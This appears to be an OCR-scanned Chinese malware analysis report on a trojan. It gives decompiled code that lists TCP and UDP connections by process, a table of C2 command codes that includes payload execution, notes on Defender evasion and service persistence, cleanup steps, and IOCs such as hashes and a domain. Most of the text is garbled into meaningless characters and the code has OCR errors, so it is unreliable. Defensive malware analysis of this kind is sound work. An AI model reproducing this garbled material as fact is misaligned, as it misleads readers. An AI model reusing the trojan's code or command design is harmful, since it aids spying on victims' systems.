LPBYTE pBuf = (LPBYTE)LocalAlloc(LPTR, dwSize);

dwRet = GetExtendedUdpTable(pBuf, &dwSize, 0, AF INET, UDP TABLE OWNER PID, 0);
/] EERRERE

PMIB UDPTABLE OWNER PID pUdpTable = (PMIB UDPTABLE OWNER PID)pBuf;

/! BmRABHFE

DWORD dwMaxCount = (al[l] - al[0]) / sizeof(UDP_ITEM);

// MRTAARE ARRY 828 (RBEEFITH)

if (pUdpTable->dwNumEntries > dwMaxCount){

// WHFA UDP KNI , § \SMEREEMIMA
for (DWORD i = 0; i < pUdpTable->dwNumEntries; i++){
PUDP_ITEM pOut = (PUDP_ITEM) ((BYTE*)al + al[0] + i * sizeof(UDP ITEM));

/] WERFTFREENFIRD

pOut->LocalAddr = pUdpTable->table[i].dwLocalAddr;
pOut->LocalPort (WORD)ntohs (pUdpTable->table[i].dwLocalPort);
pOut->Pid pUdpTable->table[i].dwOwningProcess;
ZeroMemory (pOut->Reserved, sizeof(pOut->Reserved));

}
/1 BHE N
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al[0] += pUdpTable->dwNumEntries * sizeof(UDP_ITEM);
LocalFree(pBuf);
return 1;

KA TCPIERERMERIER.

bool GetTcpTable ctrl(int *al)
{
// BREER D
dwRet = GetExtendedTcpTable(NULL,&pdwSize,0,AF INET,TCP TABLE OWNER PID ALL,0);
PMIB TCPTABLE OWNER PID pTcpTable = (PMIB TCPTABLE OWNER PID)LocalAlloc(LPTR,
pdwSize);
/ VB STRET CPiE R
dwRet =
GetExtendedTcpTable(pTcpTable, &pdwSize,0,AF INET,TCP _TABLE OWNER PID ALL,0);
DWORD entryCount = pTcpTable->dwNumEntries;
DWORD maxItems = ((DWORD)al[l] - (DWORD)*al) / sizeof(TCP ITEM);
// BATCP%RE , P ENFTF , EASMNIA
for (DWORD i = 0; i < entryCount; i++)

{
const MIB TCPROW OWNER PID* pSrc = &pTcpTable->table[i];
PTCP_ITEM pDst = (PTCP_ITEM)((BYTE*)al + *al + i * sizeof(TCP_ITEM));
pDst->LocalAddr = pSrc->dwLocalAddr;
pDst->LocalPort = (WORD)ntohs(pSrc->dwLocalPort);
pDst->RemoteAddr = pSrc->dwRemoteAddr;
pDst->RemotePort = (WORD)ntohs(pSrc->dwRemotePort);
pDst->State = pSrc->dwState;
pDst->Pid = pSrc->dwOwningProcess;
ZeroMemory (pDst->Reserved, sizeof(pDst->Reserved));
}
/ / BRE BRSNS
}
C2in &Ym= K INREHR
S Tk e T
0x2  BRRARAZKEE (BRE, BFR4, Ox41A IRENARGETCP,UDP R

P, ¥ixEA%5)

0x3  TtE4 0x41C HBASTEEOMRKRESR
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WS Thie WS ThRk
x4 OHERS Ox41E LREEARZXHER
0x5  KMIARZ 0x420 BRI (L3R, 4L,
WALSELR)
0x6 TiE4 0x422 RMAG T EHMHER
0x102 =TFE4 0x502 Directinputit &
0x103 EFAFE 0x504 EAEMHER
0x105 HREUIKIKLHESR 0x505 &SRR
0x107  #NAV 0x507 & OOk
0x200 JazhRHE 0x600 ME TR
0x202 {Z1EFFHH 0x602 IRERFEE I R BRE
0x203 #EFFIEHIZ 0x606 WEITMREE
0x204  FRERRHE %R 0x608 BTN
0x206 HERIEAN OxB0A il e
0x207  FFRBIVIMRIN A %R 0x60C MM REEE
0x209 KM BINEAR AR 0x700 AWt g S REEIN
0x20B 1A SRARTE BN Lk AR AR 0x702 KIABAR KR
0x20C RN ZREHF 0x703 REWHHE
0x300 EIRIFE ARG 0x704 MEE RSB
0x302 FTHE_E1&XX 0x800 PSR IS
0x304 TF#EtarXX Atk 0x802 EXI=p LIPS
0x305 T Ektarsr ¥tz 0x900 JIIE=RTiENes
0x306  TERICHA¥HE 0x902 GG ERIEPS
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S ThRE ) ThRE

0x307 JEIE R EIGRSC4E 0x903 TR AT IR
0x308 fhf&4EEXT % 0x905 NI
Ox30A BTk 0x906 A B A

0x30C fTpayload(IZFEHIT/EERMIT)  0x909 st

0x30E fi#h% T2 HipayloadFFE iy & 0x90A 15 IE 3

0x320  MhiFR4EE TSR >=0x1000 EHFDKIBEE

0x400 WERGHBEHLEEER 0x418 REAG A HRAFER
0x402 A RLTIHFE 0x416 AR AR 55

0x404 IS BHFR Ox414 BRRFECE

0x406 AR 0x412 R RS HIRG

0x408 LHR{TSF AR 0x410 MEERGRS

Ox40A FEfC/KE BHFE Ox40E AR IFUFEMR

0x40C REFFEMITR 0x101 ping#R{E

St

BIE—FAER USRS |, $ 5 Windows BRIkt T TTRHIFEM. FAL. EEHHW
i

1. B3R © DA . exe XY B FRENIR AR A H0UT ;

2. AUBE R | ZEFIMERNBSNGFTIDFHEPIT , FHtET s Mwindows Defende riEfkE&
7, KRG EEHEEN ;

3. FANWTFENERE : IEMRIERFMHE]. hRETRERSTNES ;

4. gIEE  —BENEED , "JIHEGNEVNFTBEAMIE., WRICK. 3R, BiHkE
FREE , ENHEC2TAISIEENASAE. RIEEMM. SRR , 71
PEittER . M IEE XK.

B ESME RTE 4 A MG H X B S XA A
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[ A4

WY REESMITRSEERL P RA

EEME%:
= 14V R B4R : 24 B : 00:00:01
A imiREEE
B 2 ERE 58 Fiths IZEA TR : 27 AR : 0 AR ST
e . T Fmem TS s
v’ DropperAgent!11.. P = ChUsers\Win7\De exe HE A
EEF22. C\Use. \IrTUt32.dl v TrojanAgent/x64!1.., A5 Ch\Users\Win7\Desktop\yrdy\IrTUt32.dIl SERETH
IR ARG ; v ERFEEEIE b= =l ]

LERN

1. BEMTR YRS gawdk L. FitEISMNXITA ;

2. 2FKWFK . exe, C:\ProgramData FEALIARER , BIRIREINTE XHEME X ;
3. M= E RS BluetoothUserService 9dd037 ;

4. MR IE MR EEHKLM\SOFTWARE\Microsoft\Tracing\choco RASAPICS ;

5. j5H#Windows DefenderHFRFIFRANTTREFESF / BR.

7eba{StR (10C)

« MD5

3DB3678944D709BC08530B411C83ED5E
CB980B731CD5DC476435750D758790BF
182861B5207152E067F94EEEDAF1FACE

¢ Domain

gawdkl.fit
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- MEREA

Dropper.Agent!1.14213
Trojan.Agent/x64!1.141C2
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